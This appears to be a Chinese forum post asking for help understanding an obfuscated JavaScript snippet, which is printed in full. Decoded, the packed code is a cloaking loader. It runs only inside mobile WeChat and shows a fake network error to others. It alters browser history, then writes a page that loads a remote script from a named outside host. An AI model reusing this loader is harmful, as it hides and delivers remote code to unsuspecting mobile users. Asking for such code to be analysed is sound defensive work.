求大佬帮忙看一下混淆过的 js，看不懂

window.$php_url = "//api. chmochee. com /rpx"; eval(function (p, a, c, k, e, r) { e = function (c) { return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [

        function (e) {
            return r[e]
        }
    ];
    e = function () {
        return '\\w+'
    };
    c = 1
};
while (c--)
    if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p

}('(j(a,b){a(b)})(j(a){5 b=y.S.t();5 c=y.Y.t();5 d=F.N("R/k","V");5 e='';n(!/B/.C(b)||c.s("K")==0||c.s("O")==0){e="网络错误，请重新打开！！！"}Q{n(q(m.$g)=='u'||m.$g<=''){m.$g='//Z.11.1a.1b.1z/1B'}5 f=0;n(q(h.l)!='u'){f=h.l}h.D(f+1,"E","#"+a(p)+(G H).I());e=J("%7%L%M%2%4%P%2%4%1E%2%4%3%3%3%3%r%T-U%9%W-X%6%o%9%10/k%v%12%13-8%6%2%4%3%3%3%3%r%14%9%15%6%o%9%16%17-18%19-w%x.0%1c-w%x.0%1d-1e%1f%6/%2%4%3%3%3%3%1g%2%7/1h%2%4%7/1i%2%4%1j%1k%9%1l%1m%1n%v%6%2%4%1o%1p%9%6"+1q($g)+"/1r.1s%6%2%7/1t%2%4%7/1u%2%4%7/k%2")}d.1v(e);d.1w()},j(a){　　 a=a||p;　　 5 b='1x';　　 5 c=b.l;　　 5 d='';　　 1y(i=0;i<a;i++){　　　　 d+=b.1A(z.1C(z.1D()*c));　　}　　 A d});', 62, 103, '||3E|20|0A|var|22|3C||3D|||||||php_url|history||function|html|length|window|if|20content|32|typeof|3Cmeta|indexOf|toLowerCase|undefined|3B|scale|3D1|navigator|Math|return|micromessenger|test|pushState|message|document|new|Date|getTime|unescape|win|21DOCTYPE|20html|open|mac|3Chtml|else|text|userAgent|20http|equiv|replace|22Content|Type|platform|apple|22text|cloud|20charset|3Dutf|20name|22viewport|22width|3Ddevice|width|2Cinitial|theshop|com|2Cmaximum|2Cuser|scalable|3D0|3Ctitle|title|head|3Cbody|20style|22background|3A|23fff2e5|3Cscript|20src|escape|loadhtml|php|script|body|write|close|ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678|for|cn|charAt|rpx|floor|random|3Chead'.split('|'), 0, {}));